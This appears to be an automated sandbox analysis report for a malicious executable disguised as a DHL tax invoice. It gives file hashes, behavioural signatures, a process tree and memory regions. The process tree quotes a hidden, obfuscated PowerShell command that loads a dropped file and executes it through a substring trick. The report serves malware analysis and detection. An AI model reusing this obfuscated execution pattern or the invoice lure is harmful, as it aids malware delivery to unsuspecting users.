Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    28-03-2024 07:02

General

  • Target

    DHL TAX INVOICES - MARCH 2024.exe

  • Size

    850KB

  • MD5

    9751f18fb374bf112f867381a68bb3a9

  • SHA1

    b6690412b3ce7e65d76437b4d6704a3646e62938

  • SHA256

    d53afbfc333acb95639354fe5eb9cddce8fc0f59190d23dbfa60fec9944a5e27

  • SHA512

    b42a8071e8234c62fbd8028e9f364a39b0daeb7a62b7ccbc94f3588cdda7be93953834c737ab01b3feebcc51665a0a528ede9f2042af369ad3a1ecee69bd8b6f

  • SSDEEP

    12288:agyMCmL5EW2zV3mDinwWxjQKQpUGk06VqbwQX3isAr:YViiwwEKQpUs6swI32

Score
7/10

Malware Config

Signatures

  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\DHL TAX INVOICES - MARCH 2024.exe
    "C:\Users\Admin\AppData\Local\Temp\DHL TAX INVOICES - MARCH 2024.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2156
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -windowstyle hidden "$Panoramic=Get-Content 'C:\Users\Admin\AppData\Local\releve\Handelshindringens.Dec';$Voldtgtsforbryders=$Panoramic.SubString(51097,3);.$Voldtgtsforbryders($Panoramic)"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2800

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\nso2CFC.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    01e76fe9d2033606a48d4816bd9c2d9d

    SHA1

    e46d8a9ed4d5da220c81baf5f1fdb94708e9aba2

    SHA256

    ee052fd5141bf769b841846170aabf0d7c2bb922c74c623c3f109344534f7a70

    SHA512

    62ef7095d1bf53354c20329c2ce8546c277aa0e791839c8a24108a01f9483a953979259e0ad04dbcab966444ee7cdd340f8c9557bc8f98e9400794f2751dc7e0

  • memory/2800-13-0x0000000073AA0000-0x000000007404B000-memory.dmp

    Filesize

    5.7MB

  • memory/2800-14-0x0000000073AA0000-0x000000007404B000-memory.dmp

    Filesize

    5.7MB

  • memory/2800-15-0x0000000002AA0000-0x0000000002AE0000-memory.dmp

    Filesize

    256KB

  • memory/2800-16-0x0000000002AA0000-0x0000000002AE0000-memory.dmp

    Filesize

    256KB

  • memory/2800-17-0x0000000073AA0000-0x000000007404B000-memory.dmp

    Filesize

    5.7MB